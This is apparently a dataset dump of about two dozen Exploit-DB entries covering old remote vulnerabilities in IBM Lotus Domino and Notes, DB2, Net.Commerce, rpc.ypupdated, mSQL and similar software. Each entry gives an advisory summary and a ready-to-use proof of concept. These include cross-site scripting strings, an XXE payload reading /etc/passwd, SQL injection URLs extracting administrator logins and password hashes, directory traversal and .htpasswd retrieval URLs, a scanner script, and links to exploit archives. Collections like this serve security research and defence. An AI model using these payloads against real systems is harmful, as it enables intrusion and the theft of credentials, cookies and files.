deardaniel/secdata-raw huggingface dataset:
Exploit-DB #20259
Description: HP-UX 10/11/ IRIX 3/4/5/6 / OpenSolaris build snv / Solaris 8/9/10 / SunOS 4.1 - 'rpc.ypupdated' Command Execution (2)
Type: remote
Platform: multiple
Date: 1994-02-07
Author: anonymous

Exploit:
HP-UX 10.x/11.x,IRIX 3.x/4.x/5.x/6.x,OpenSolaris build snv,Solaris 8/9/10,SunOS 4.1.x RPC.YPUpdated Command Execution (2)
 
source: https://www.securityfocus.com/bid/1749/info
 
The 'rpc.ypupdated' deamon is part of the Network Information Service (NIS) or Yellow Pages (YP). It allows clients to update NIS maps. A vulnerability in 'rpc.ypupdated' allows a malicious user to execute commands as root.
 
After receiving a request to update the Yello Pages maps, 'ypupdated' executes a copy of the bource shell to run the 'make' command to recompute the maps whether the request for changes was sucessful or not. Because of bad input validation while executing 'make', an attacker can pass shell metacharacters to the shell and can execute commands.
 
This is issue is tracked by Sun BugIDs 1230027 and 1232146. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20259.tar.gz
Exploit-DB #25011
Description: HTML2HDML 1.0.3 - File Conversion Buffer Overflow
Type: remote
Platform: multiple
Date: 2004-12-15
Author: Matthew Dabrowski

Exploit:
source: https://www.securityfocus.com/bid/12003/info

html2hdml is prone to a buffer overflow vulnerability. This issue is exposed when converting HTML files to HDML (Handheld Device Markup Language). Since HTML files may originate from an external or untrusted source, this vulnerability is considered remote in nature.

Successful exploitation may result in execution of arbitrary code in the context of the user running the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25011.zip
Exploit-DB #26966
Description: httprint 202.0 - HTTP Response Server Field Arbitrary Script Injection
Type: remote
Platform: multiple
Date: 2005-12-22
Author: Mariano Nunez Di Croce

Exploit:
source: https://www.securityfocus.com/bid/16031/info

httprint is prone to multiple remote vulnerabilities.

The first issue may allow remote attackers to execute arbitrary HTML and script code in a user's browser.

The second issue may allow remote attackers to crash an instance of the application.

httprint version 202 is vulnerable to these issues. 

SecServerSignature "Microsoft-IIS/5.0<script>alert('test')</script>"
Exploit-DB #19466
Description: Hughes Technologies Mini SQL (mSQL) 2.0/2.0.10 - Information Disclosure
Type: remote
Platform: multiple
Date: 1999-08-18
Author: Gregory Duchemin

Exploit:
source: https://www.securityfocus.com/bid/591/info

Under certain versions of Mini SQL, the w3-msql CGI script allows users to view directories which are set for private access via .htaccess files. W3-mSQL converts any form data passed to a script into global Lite variables and these variables can then be accessed by your script code.

When an HTML form is defined a field name is given to each element of the form. When the data is passed to W3-mSQL the field names are used as the variable names for the global variables. Once a set of variables has been created for each form element, the values being passed to the script are assigned to the variables. This is done automatically during start-up of the W3-mSQL program. 

First Approach:
This attack requires the attacker to know the location/directory structure of the site she is attacking.

http://www.victim.org/cgi-bin/w3-msql/protected-directory/private-file

Second Approach:
This approach will gain the intruder a DES encrypted password which they can then attempt to crack it via any number of popular cracking utilites.

http://www.victim.org/cgi-bin/w3-msql/protected-directory/.htpasswd
Exploit-DB #19459
Description: Hybrid Ircd 5.0.3 p7 - Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 1999-08-13
Author: jduck & stranjer

Exploit:
source: https://www.securityfocus.com/bid/581/info

Ircd hybrid-6 (up to beta 58) has a vulnerability which can allow remote access to the irc server (ircd). In most cases this attack results in the attacker gaining the privileges of the user 'irc'.

This vulnerability is in the invite handling code (m_invite). In a channel with operators (ops) and modes +pi (paranoid + invite-only), a channel invitation is reported to all other operators. The buffer used to store the invitation notice can be overflown by up to 15 bytes. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19459.tgz
Exploit-DB #38825
Description: IBM Cognos Business Intelligence - XML External Entity Information Disclosure
Type: remote
Platform: multiple
Date: 2013-10-11
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/63719/info

IBM Cognos Business Intelligence is prone to an information-disclosure vulnerability due to an error when parsing XML external entities.

An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks.

IBM Cognos Business Intelligence 10.2.1 and prior are vulnerable. 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
 <!ELEMENT comments ANY >
 <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>

<ob:Openbravo xmlns:ob="http://www.example.com"
xmlns:xsi="http://www.example1.com/2001/XMLSchema-instance">
        <Product id="C970393BDF6C43E2B030D23482D88EED" identifier="Zumo de Piñ,5L">
                <id>C970393BDF6C43E2B030D23482D88EED</id>
                <comments>&xxe;</comments>
        </Product>
</ob:Openbravo>
Exploit-DB #20472
Description: IBM DB2 - Universal Database for Linux 6.1/Windows NT 6.1 Known Default Password
Type: remote
Platform: multiple
Date: 2000-12-05
Author: benjurry

Exploit:
source: https://www.securityfocus.com/bid/2068/info

IBM DB2 Universal Database is a distributed database application.

DB2 Universal Database contains a default username and password that would enable a user access to the database. During the installation of DB2, the administrator is not prompted to change these passwords which would open up the possibility of having unauthorized users access the database if they knew the default username and password.

DB2 Universal Database for Windows NT
Username: db2admin
[CREDENTIAL_REDACTED]

DB2 Universal Database for Linux
Username: db2inst1, db2as, db2fenc1
[CREDENTIAL_REDACTED]
Exploit-DB #21145
Description: IBM HTTP Server 1.3.x - Source Code Disclosure
Type: remote
Platform: multiple
Date: 2001-11-08
Author: Felix Huber

Exploit:
source: https://www.securityfocus.com/bid/3518/info

Due to an input validation error in IBM HTTP Server for the AS/400, it is possible for a remote attacker to make a specially web crafted web request which will display script source code.

If a '/' is appended to the end of a request for an existing script, then this will cause the script's source code to be displayed.

There is a potential that this issue may result in sensitive information being disclosed to attackers, depending on the contents of the script source code.

*It has been reported that the source of this issue is due to WebSphere Application server 3.5.4. However this has not yet been confirmed by the vendor. 

s script was written by Felix Huber <huberfelix@webtopia.de>
#
# v. 1.00 (last update 08.11.01)

if(description)
{
 script_id(?????????);
 name["english"] = "IBM-HTTP-Server View Code";
 script_name(english:name["english"]);

 desc["english"] = "
IBM's HTTP Server on the AS/400 platform is vulnerable to an attack
that will show the source code of the page -- such as an .html or .jsp
page -- by attaching an '/' to the end of a URL.

Example:
http://www.foo.com/getsource.jsp/

Solution :  Not yet


Risk factor : High";


 script_description(english:desc["english"]);

 summary["english"] = "IBM-HTTP-Server View Code";

 script_summary(english:summary["english"]);

 script_category(ACT_GATHER_INFO);


 script_copyright(english:"This script is Copyright (C) 2001 Felix Huber");
 family["english"] = "CGI abuses";
 script_family(english:family["english"]);
 script_dependencie("find_service.nes");
 script_dependencie("httpver.nasl");
 script_require_ports("Services/www", 80);
 exit(0);
}

#
# The script code starts here
#

port = get_kb_item("Services/www");
if(!port)port = 80;

dir[0] = "/index.html";
dir[1] = "/index.htm";
dir[2] = "/index.jsp";
dir[3] = "/default.html";
dir[4] = "/default.htm";
dir[5] = "/default.jsp";
dir[6] = "/home.html";
dir[7] = "/home.htm";
dir[8] = "/home.jsp";

if(get_port_state(port))
{

 for (i = 0; dir[i] ; i = i + 1)
 {



     soc = http_open_socket(port);

     if(soc)

     {
        url = string(dir[i], "/");


        req = http_get(item:url, port:port);
        send(socket:soc, data:req);
        r = recv(socket:soc, length:409600);
        close(soc);

	    #display(r);

	    if("Server: IBM-HTTP-Server/1.0" >< r)
              {
                if("Content-Type: www/unknown" >< r)
                    {
                     	#security_hole(port);
                     	display("Security Hole detected\n");
                     	exit(0);
                    }
              }

     }
 }
}
Exploit-DB #21160
Description: ibm informix Web Datablade 3.x/4.1 - Directory Traversal
Type: remote
Platform: multiple
Date: 2001-11-22
Author: Beck Mr.R

Exploit:
source: https://www.securityfocus.com/bid/3575/info

Informix is an enterprise database distributed and maintained by IBM. The Web Datablade Module for Informix SQL is used to provide wbBinaries for storing large binary resources such as images, sounds, etc.

The Web Datablade Module for Informix SQL is prone to a directory traversal vulnerability. A remote attacker who submits a specially crafted web request containing dot-dot-slash(../) sequences may be able to break out of wwwroot and browse arbitrary web-readable files on a vulnerable host.

This issue is known to occur when large object caching is enabled, which sets cache_directory as a web driver variable. It occurs independently of the web server that is being used.

As a result, sensitive information disclosed in arbitrary web-readable files may be used by the remote attacker to make more concentrated attacks in an attempt to further compromise the host.

http://site.com/ifx/?LO=../../../file
Exploit-DB #34369
Description: IBM Java - UTF8 Byte Sequences Security Bypass
Type: remote
Platform: multiple
Date: 2010-07-23
Author: IBM

Exploit:
source: https://www.securityfocus.com/bid/41918/info

IBM Java is prone to a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied input.

Successful exploits can allow attackers to bypass filtering mechanisms; this may aid in further attacks.

Versions prior to IBM Java SDK 1.4.2 SR13-FP6, Java SE 5.0.0-SR12, and Java SE 6.0.0-SR9 are vulnerable. 

The following example URI's are available:

http://www.example.com/ctx/index%c0%aehtml
http://www.example.com/ctx/index.%c1%bfj%c1%bfs%c1%bfp%c1%bf
Exploit-DB #27181
Description: IBM Lotus Domino 6.x/7.0 - iNotes JavaScript: Filter Bypass
Type: remote
Platform: multiple
Date: 2006-02-10
Author: Jakob Balle

Exploit:
source: https://www.securityfocus.com/bid/16577/info

IBM Lotus Domino iNotes is prone to multiple HTML- and script-injection vulnerabilities.

These vulnerabilities can allow attackers to carry out a variety of attacks, including theft of cookie-based authentication credentials. 

A proof of concept example for the issue exploited through a 'javascript:' URI is available:

<a href="java&#13;script:alert('Vulnerable!');">Link</a>
Exploit-DB #27182
Description: IBM Lotus Domino 6.x/7.0 iNotes - Email Subject Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2006-02-10
Author: Jakob Balle

Exploit:
source: https://www.securityfocus.com/bid/16577/info
 
IBM Lotus Domino iNotes is prone to multiple HTML- and script-injection vulnerabilities.
 
These vulnerabilities can allow attackers to carry out a variety of attacks, including theft of cookie-based authentication credentials. 

Proof of concept for the email subject field script injection:

</TITLE><SCRIPT>alert("Vulnerable!");</SCRIPT>
Exploit-DB #33686
Description: IBM Lotus Domino 7.0.2 - 'readme.nsf' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2010-03-02
Author: Nahuel Grisolia

Exploit:
source: https://www.securityfocus.com/bid/38481/info

IBM Lotus Domino is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Lotus Domino 7.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/help/readme.nsf/Header?OpenPage=&BaseTarget=%22;//%20--%3E%3C/script%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E
Exploit-DB #38412
Description: IBM Lotus Domino 8.5.x - 'x.nsf' Multiple Cross-Site Scripting Vulnerabilities
Type: remote
Platform: multiple
Date: 2013-03-26
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/58715/info

IBM Lotus Domino is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

IBM Lotus Domino 8.5.4 and prior are vulnerable. 

http://www.example.com/mail/x.nsf/CalendarFS?OpenFrameSet&Frame=NotesView&Src=data:text/html; base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

http://www.example.com/mail/x.nsf/WebInteriorCalendarFS?OpenFrameSet&Frame=NotesView&Src=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

http://www.example.com/mail/x.nsf/ToDoFS?OpenFrameSet?OpenFrameSet&Frame=NotesView&Src=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

http://www.example.com/mail/x.nsf/WebInteriorToDoFS?OpenFrameSet&Frame=NotesView&Src=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B
Exploit-DB #25944
Description: IBM Lotus Domino Notes 6.0/6.5 - Mail Template Automatic Script Execution
Type: remote
Platform: multiple
Date: 2005-07-06
Author: shalom@venera.com

Exploit:
source: https://www.securityfocus.com/bid/14164/info

IBM Lotus Notes email client is prone to an input validation vulnerability. Reports indicate that HTML and JavaScript attached to received email messages is executed automatically when the email message is viewed. Specifically, users accessing standard Notes mail templates through a Web mail client are affected.

This vulnerability may be leveraged by a remote attacker to automatically execute arbitrary script code in the context of a target user. 

Content-Transfer-Encoding: 8bit
Content-Type: multipart/mixed; boundary="0[PII_REDACTED][PII_REDACTED]=:34349"

--0[PII_REDACTED][PII_REDACTED]=:34349
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Id:
Content-Transfer-Encoding: quoted-printable

read it


                 =09
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=
=5F=5F=5F=5F=5F=5F=5F=5F=5F=20

--0[PII_REDACTED][PII_REDACTED]=:34349
Content-Type: text/html; name="malxxx.html"
Content-Disposition: inline; filename="malxxx.html"
Content-Description: 268262132-malxxx.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<title>Test XSS of uploaded documents</title>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
</HEAD>
<BODY>
<SCRIPT>
document.write('The cookie is:<br> ' + document.cookie + '<p>');
</SCRIPT>
 </BODY></HTML>

--0[PII_REDACTED][PII_REDACTED]=:34349--
Exploit-DB #33774
Description: IBM Lotus Notes 6.5.6 - 'names.nsf' Open Redirection
Type: remote
Platform: multiple
Date: 2010-03-19
Author: Lament

Exploit:
source: https://www.securityfocus.com/bid/38852/info

IBM Lotus Notes is prone to an open-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible.

Lotus Notes 6.x is vulnerable; other versions may also be affected. 

The following example POST data is available:

POST /names.nsf?Login HTTP/1.1

Connection: Keep-Alive

%25%25ModDate=xxxxxxxxxxxxxxxx&Username=yyyy+zzzz&[CREDENTIAL_REDACTED]=http://www.example.com&SaveOptions=0&...
Exploit-DB #33780
Description: IBM Lotus Notes 6.5.x - 'names.nsf' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2010-03-19
Author: Lament

Exploit:
source: https://www.securityfocus.com/bid/38880/info


IBM Lotus Notes is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Lotus Notes 6.x is vulnerable; other versions may also be affected.

http://www.example.com/names.nsf/<img src="javascript:alert(31337)">
Exploit-DB #37900
Description: IBM Lotus Notes Traveler 8.5.1.x - Multiple Input Validation Vulnerabilities
Type: remote
Platform: multiple
Date: 2012-09-28
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/55740/info

IBM Lotus Notes Traveler is prone to a URI-redirection vulnerability, multiple HTML-injection vulnerabilities and cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials, to control how the site is rendered to the user and conduct phishing attacks. Other attacks are also possible.

IBM Lotus Notes Traveler 8.5.3 and prior are vulnerable; other versions may also be affected. 

http://www.example.com/servlet/traveler?deviceType=700&redirectURL=javascript:alert(document.cookie)

http://www.example.com/servlet/traveler?deviceType=700&redirectURL=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

http://www.example.com/servlet/traveler?deviceType=700&redirectURL=http://websecurity.com.ua
Exploit-DB #31279
Description: IBM Lotus Quickr QuickPlace Server 8.0 - Calendar 'Count' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2008-02-21
Author: Nir Goldshlager AVNE

Exploit:
source: https://www.securityfocus.com/bid/27925/info

IBM Lotus Quickr is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Lotus Quickr 8.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/main.nsf/h_Toc/2a922d48c75dd00b[PII_REDACTED]16723a/?OpenDocument&Count='20"><iframe/%20/onload=alert(/XSSByNirG/<http://www.example.com/QuickPlace/leg/main.nsf/h_Toc/2a922d48c75dd00b[PII_REDACTED]16723a/?OpenDocument&Count='20%22%3E%3Ciframe/%20/onload=alert(/XSSByNirG/>)>
Exploit-DB #35364
Description: IBM Lotus Sametime - '/stconf.nsf/WebMessage?messageString' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2011-02-21
Author: Dave Daly

Exploit:
source: https://www.securityfocus.com/bid/46471/info

IBM Lotus Sametime Server is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

IBM Lotus Sametime 8.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/stconf.nsf/WebMessage?OpenView&messageString=";><script>alert("XSS!")</script>#
Exploit-DB #35366
Description: IBM Lotus Sametime - stconf.nsf Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2011-02-21
Author: Dave Daly

Exploit:
source: https://www.securityfocus.com/bid/46471/info
 
IBM Lotus Sametime Server is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
IBM Lotus Sametime 8.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/stconf.nsf/";);} alert("XSS!"); function a(){ var a=unescape("
Exploit-DB #20618
Description: IBM Net.Commerce 2.0/3.x/4.x - orderdspc.d2w order_rn Option SQL Injection
Type: remote
Platform: multiple
Date: 2001-02-05
Author: Rudi Carell

Exploit:
source: https://www.securityfocus.com/bid/2350/info

IBM's Net.Commerce ecommerce platform supports macros which, by default, do not properly validate requests in user-supplied input. A thoughtfully-formed request to a vulnerable script can cause the server to disclose sensitive system information, including results of arbitrary queries to the Net.Commerce database. This can allow an attacker to obtain an elevation of privileges to that of the DB2INST1 account, and potentially issue arbitrary shell commands as the DB2INST1 user.

IBM fixed the vulnerable macros they ship with the product in Net.Commerce Versions 3.2 and WebSphere Commerce Suite 4.1. Custom macros created by the user may be vulnerable to this type of attack. WebSphere Commerce Suite Version 5.1 is not vulnerable at all as it does not use Net.Data macros. 

To obtain the administrator accounts use the following URL:

http://target/cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report?order_rn=99999+union+select+shlogid+as+mestname,0+from+shopper+where+shshtyp+%3d+'A';

To obtain the encrypted passwords use the following URL:

http://target/cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report?order_rn=99999+union+select+shlpswd+as+mestname,0+from+shopper+where+shlogid+%3d+'ncadmin';

To obtain the password reminders use the following URL:
http://target/cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report?order_rn=99999+union+select+shchaans+as+mestname,0+from+shopper+where+shlogid+%3d+'ncadmin';

"orderdspc.d2w" is not the only vulnerable macro. It is just used as an example. Casting between different data-types is possible. Read the DB2 manual pages.

It may also be possible to query other databases.
Exploit-DB #20685
Description: IBM Net.Commerce 3.1/3.2 Websphere - Weak Password
Type: remote
Platform: multiple
Date: 2001-03-07
Author: Rudi Carell

Exploit:
source: https://www.securityfocus.com/bid/2482/info

Versions of IBM NetCommerce and WebSphere Commerce Suite ecommerce packages employ weak password encryption for their users' and administrators' passwords.

This encryption is defeatable using a widely-published decryption tool.

Compromise of the user accounts could result in disclosure of sensitive information and interference with the normal operation of the affected website.

Compromise of administrator accounts could result in disclosure of sensitive information, changes to website functionality, and, potentially, could assist in further compromises of security on the affected host.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20685.zip